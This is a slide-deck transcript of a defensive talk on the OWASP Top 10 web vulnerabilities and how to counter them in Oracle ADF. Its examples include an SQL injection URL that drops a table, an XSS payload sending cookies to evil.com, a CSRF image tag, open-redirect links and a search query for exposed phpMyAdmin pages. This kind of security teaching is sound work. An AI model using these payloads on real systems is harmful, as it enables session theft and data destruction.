Date post: | 27-Jan-2015 |
Category: |
Technology |
Upload: | brian-huff |
View: | 132 times |
Download: | 2 times |
Top 10 Web Vulnerabilities, and Securing them with ADF
Brian “Bex” HuffChief Software Architect
2
Agenda
Intro
Open Web Application Security Project (OWASP)
Top 10 Web Application Security Vulnerabilities
Countermeasures
References
For the latest version of this presentation, go to SlideShare:
http://slideshare.com/bexmex
Intro
What is OWASP?• http://owasp.org• Worldwide non-profit focused on improving software security• Reaches out to ALL developers: not just security professionals
Who am I?• Oracle ACE Director• Author of 2 books on Oracle Technology• Twitter: @bex
What will you learn?• The top 10 security mistakes that developers make• How to design software with an assurance of security• You don’t need to be a security guru to secure your web apps
3
OWASP Top 10 of 2013
1) Injection
2) Broken Authentication and Session Management
3) Cross Site Scripting
4) Insecure Direct Object References
5) Security Misconfiguration
6) Sensitive Data Exposure (NEW)
7) Missing Function Level Access Control (NEW)
8) Cross Site Request Forgery (CSRF)
9) Using Components with Known Vulnerabilities (NEW)
10) Unvalidated Redirects and Forwards
4
1) Injection
Used when your app sends user-supplied data to other apps• Database, Operating System, LDAP, Web Services
Hackers "inject" their code to run instead of yours• To access unauthorized data, or completely take over remote application
Example: SQL injection attack• String query = "SELECT * FROM products WHERE name='" +
request.getParameter("id") +"'";
Code expects a nice parameter in the URL• http://example.com/products?id=123
Hackers could pass this into the URL instead• http://example.com/products?id=';+DROP+TABLE+'products';
5
Example
Don’t: name your child
Robert’); DROP TABLE Students;--
Do: expect SQL Injection
6
Countermeasures
"Connections" between systems are highly vulnerable
Always assume data coming in could be "evil"• Be sure to include "evil" use cases and user stories in your design
Ideally, only allow the user to select among "safe" options• Never allow them to pass data between systems unchecked
If user-input text is needed, use parameterized statements• Clean up quotes, parenthesis, and comments
Use a battle-tested library for protecting your database• ADF prepared statements, OWASP's ESAPI codecs
7
Example
// good idea
ViewObject studentVO = this.getStudentView();
studentVO.setNamedWhereClauseParam("id", id);
// bad idea!
ViewObject studentVO = this.getStudentView();
studentVO.setWhereClause("id = " + id);
// another bad idea!
String query = "select * from students where id=" + id;
ViewObject vo = appMod.createViewObjectFromQueryStmt(null,query);
8
ADF Input Validation
Occurs on most components automatically• Additional validate components available for additional filtering• validateLength, validateLongRange, convertDateTime, etc.
Exception: when immediate=true for some components• Can access raw, unfiltered data through managed bean
Hidden fields do not equal secure fields• Expect hackers to tamper with the HTML, and insert their own values• selectOne and selectMany do automatic validation, and are safe
Use caution with custom AJAX layers• Not always subject to ADF input validation
9
2) Broken Authentication and Session Management
HTTP is a "stateless" protocol• Nice and simple: HTTP request, HTTP response• All data must be passed in the request every time
How do we store state?• Client side with cookies• Server side with sessions
Most apps place a "sessionId" in cookies, or in the URL• Problem: now stealing sessionIds is just as good as stealing passwords!
Multiple ways to determine a session ID• packet sniffing -- especially on an open WiFi access point• HttpReferrer logs, if sessionId is in the URL
10
Countermeasures
Assume that a user stole a session ID• Determine how bad this would be in your application
Use SSL everywhere!• Makes it harder for people to “sniff” your session ID
If you cannot use SSL everywhere, use it for logins• Have a cryptographically strong session ID (ADF default)
• Have a reasonable timeout, one hour is fine
11
ADF Countermeasures
Don’t pass the jsessionid in the URL, put it in a cookie• Evil sites can sniff your session ID from their referrer logs • Cookies harder to sniff if SSL is enabled
Sample web.xml snippet
<session-descriptor>
<cookie-name>MYAPPSESSID</cookie-name>
<url-rewriting-enabled>false</url-rewriting-enabled>
<timeout-secs>3600</timeout-secs>
</session-descriptor>
12
3) Cross Site Scripting (XSS)
Sites must "cleanse" user input before displaying it• HTML tags can be very dangerous• If a user can embed a <SCRIPT> tag, all is lost!
Hackers can create URLs to inject their own HTML onto the page• Can be used to do almost any kind of attack!!!
ADF is mostly safe, but occasionally vulnerable• User generated content is usually HTML encoded on the page
• <script> becomes <script>
• Use caution with the af:resource or f:verbatim tags• Never pass in unencoded data!
13
Example
Example: JSP to draw HTML based on user input• String html = "<input name='item' type='TEXT' value='" +
request.getParameter("item") + "'>";
Code expects a nice URL:• http://example.com/buy?item=123
But a hacker could supply this URL:• http://example.com/buy?item='><script>document.location='
http://evil.com/steal/'+document.cookie</script>
Then trick an administrator or superuser to go there• Cookie is stolen, and now evil user can connect as the admin!
14
Countermeasures
Never, ever, ever trust user-submitted content!
Properly "escape" any data before displaying it on web pages• JavaScript parameters, URL parameters, STYLE elements• Remove script tags, and possibly anything with a SRC attribute• Done automatically in ADF, but manually if you bypass ADF and write JS
• Use ESAPI to "cleanse" HTML before dumping to page
Do not allow state-change from HTTP GET requests• Otherwise, a rogue IMG tag could delete content
• No state change on initial ADF page load!
Set the HttpOnly flag in your response headers• Prevents document.cookie from working in JavaScript
15
4) Insecure Direct Object Reference
Assume my project id is 123
I see a link on “My Projects” page that goes here:• http://example.com/projects/123
If I alter the URL, can I see other people’s projects?• http://example.com/projects/124
Do you only restrict access in the web form?
What if I could "guess" the URL? Could I see the page?• Don't trick yourself into thinking complex URLs are any more secure• Security != Obscurity
16
Countermeasures
Every resource needs a security level• What roles do you need to access certain items?• Access Control Lists are easy to implement, but don’t always scale
All access to that resource should go through the same check• What action are you taking, with what resource?• Put it all in one common codebase for simplicity• May need to run check multiple times, for sub-actions and sub-resources• Unusual behavior? Have additional authentication questions/layers!
Front-end restriction is nice for usability, but not security
Ideally, put all security in the Application Module (model)• Single location to secure multiple views
17
Countermeasures, ctd.
Avoid direct object reference• Use a temporary variable relevant to just that user• Use a cryptographically strong variable
Validate all references, regardless
Validate access to that reference• Read, write, update, delete
18
ADF Global Security Expressions
#{securityContext.authenticated}
#{securityContext.userName}
#{securityContext.userInRole['roleList']}
#{securityContext.userInAllRoles['roleList']}
#{securityContext.taskflowViewable['target']}
#{securityContext.regionViewable['target']}
#{securityContext.userGrantedResource['permission']}
#{securityContext.userGrantedPermission['permission']}
19
5) Security Misconfiguration
Everything from the OS to the DB to the ADF framework
What if ADF issued a security patch?• Do you have a centralized policy for keeping dependencies up-to-date?• How long would it take you to discover new code?• How long would it take to recompile/test/redeploy?
Do you know all security configurations in the framework?• Odds are no... documentation is usually obtuse• “Being helpful is a security hole”
Have you properly "hardened" your infrastrurcture?• Delete default users, disable unused services and ports
• Operating System, WebLogic, Database, MDS
20
Countermeasures
Subscribe to newsletters and blog feeds to get patches• Use automation if possible to verify patches
Do periodic scans to detect misconfiguration / missing patches
Disable ports/services/features unused in production
Disable default users and passwords
Never send stack traces or SQL errors directly to end users
Taking over websites shouldn't be this easy:• http://www.google.com/search?
q=inurl:SELECT+inurl:FROM+inurl:WHERE+intitle:phpmyadmin
21
6) Sensitive Data Exposure
All applications store sensitive data• Credit cards, passwords, private health/financial documents
Where does this data get stored?• Database, files, logs, backups, etc.
Where does this data get sent?• Over the web, backup databases, partners, internal emails• JMS queue, web service calls
How are you preventing unauthorized access to all these resources?
22
Storage Layer Countermeasures
If you store secrets, encrypt them!• Use only battle-tested standard encryption algorithms
Analyze possible threats: inside attack, external user• Make sure encryption policy is appropriate for the threats
Encrypt data anywhere it's stored long term• Especially backups!• Store backups of decryption keys separately from data
Restrict access to decrypted data to only authorized users
Hash all passwords with a standard algorithm, and a "salt"
Use strong keys to access the information
Create a password management policy, and stick with it!
23
Sane Pass Phrase Management Policy
24
Transport Layer Countermeasures
Use strong, standards compliant network security protocols• Use TLS (SSL) on all connections with sensitive data
Encrypt messages before transmission• XML-Encryption
Sign messages before transmission• XML-Signature
Disable old, flawed encryption algorithms (ie, SSL 2.0)
25
7) Missing Function Level Access Control
Similar to Insecure Direct Object Reference• Need to block specific actions, even if no resource is identified
Example: my project is 123
I will see these URLs on my home page:• http://example.com/project/123• http://example.com/user/getProjects/
I could fish around and try other URLs as well:• http://example.com/manager/getProjects/• http://example.com/admin/getProjects/
Would your application prevent this?
Same general issue: • you have front-end security, but not back-end security
26
Countermeasures
Do authentication checks at least twice• Front end UI, and back end Controller
Don't draw URLs to the page if the user cannot access them• Bad usability• Hackers might be tempted to fish around for vulnerabilities
Never assume a URL is allowed• Do back-end checks for access, and state change
Add even more layers as needed:• Does all security information exist in the URL?
• Can you authenticate right away?
• Might you need to get half way through the request before you know what rights are needed?
• What if the user has access, but their behavior is unusual
• should you prompt for password again, or perhaps for additional authorization?
27
8) Cross-Site Request Forgery
Evil sites can hijack your browser, and run secure requests:1) User logs into secure application behind the firewall
http://example.com/myApp2) User goes to "evil" website, or loads up "evil" HTML email
3) HTML contains this image:
<img src="http://example.com/myApp/deleteEverything"></img>
With JavaScript and XSS, evil sites can completely take over your browser• Can browse around your intranet, log into bank accounts• Anything you are currently logged into• Complete control, as long as you stay on the evil site
Unfortunate side-effect of Single-Sign-On28
Countermeasures
Need a unique token to validate that the request is authentic• The jsessionId is sometimes sufficient, but can be stolen with XSS• More secure: unique token for every HTTP request• If somebody steals your jsessionid, they can only do one request!
Steps to validate every request• Put a random number in the session for the next valid token• Put that token on every HTML web form that causes state change• When processing a request, validate the token• Generate another random token for the next request• Place that token in the session, repeat forever!• NOTE: might not be needed in JSF 2.1
http://blog.eisele.net/2011/02/preventing-csrf-with-jsf-20.html29
9) Using Components with Known Vulnerabilities
In addition to ADF, you may use other frameworks• Open Source Libraries• OEM Libraries• JavaScript frameworks• JARs and JARs and JARs of fun...
Automated hacker tools can find these dependencies• Unless you are always on the latest stable version, you are vulnerable
All possible attack vectors are open• XSS, injection, CDRF being the most common and most troublesome• Rages from annoying to complete takeover of your servers
30
Countermeasures
At a minimum, manually keep track of dependencies/versions• Developers must justify every JAR they depend on• Must manually keep track of version, and check before each release
Better still, use Maven to perform automated builds• Automatically check your JAR version vs. latest stable release
Both have risks to the build process• What if you have to refactor your code every time the JAR is revised?• Annoying, but a neccessary step to secure your applications
31
10) Unvalidated Redirects and Forwards
Most sites allow redirects to other sites, or pages within the site:• http://example.com/redirect?url=google.com
But, open redirect pages can be used by "phishers" to create links to their site:• http://example.com/redirect?url=evil.com
Link looks like it goes to "example.com", but it goes to "evil.com"
Or, can trick a site user into harming their own site:• http://example.com/redirect?url=/admin.jsp?deleteEverything=true
Sometimes called "phishing holes"32
ADF Attack Vectors
Common places to do redirects• PagePhaseListener• Download Servlet• Task Flow router
Example code for a redirect:
FacesContext fctx = FacesContext.getCurrentInstance();
fctx.getExternalContext().redirect("http://google.com");
33
Countermeasures
Restrict redirects to a limited number of "trusted" sites
Keep a list of all redirect URLs, and pass the ID in the request, instead of the URL• http://example.com/redirect?urlId=123
Hash the URL with a secret, and pass the hash in the URL• http://example.com/redirect?url=google.com&hash=a1b2c3
Example: does this URL look like a Google Invoice to you?• http://www.google.com/#invoiceId=123&q=oHg5SJYRHA0&btnI=3564
Question: are URL shorteners inherently unsafe?• TinyUrl offers a "preview" feature: others should as well
34
References
OWASP top 10, and associated resources• https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
ADF Code guidelines to prevent security holes:• http://www.oracle.com/technetwork/developer-tools/adf/learnmore/adf-
code-guidelines-v1-00-1845659.pdf
JavaScript best practices for ADF• http://www.oracle.com/technetwork/developer-tools/jdev/1-2011-javascript-
302460.pdf
Hardening Fusion Middleware to avoid OWASP issues: • http://antonfroehlich.blogspot.com/2012/06/handling-owasp-top-ten-
application.html
JSF and OWASP• http://turbomanage.files.wordpress.com/2009/10/securing-jsf-applications-
against-owasp-top-ten-color.pdf
35
36
My Company: http://bezzotech.com
My Blog: http://bexhuff.com
My Slides: http://slideshare.com/bexmex
My Tweets: @bex
My Self: [email protected]
Questions?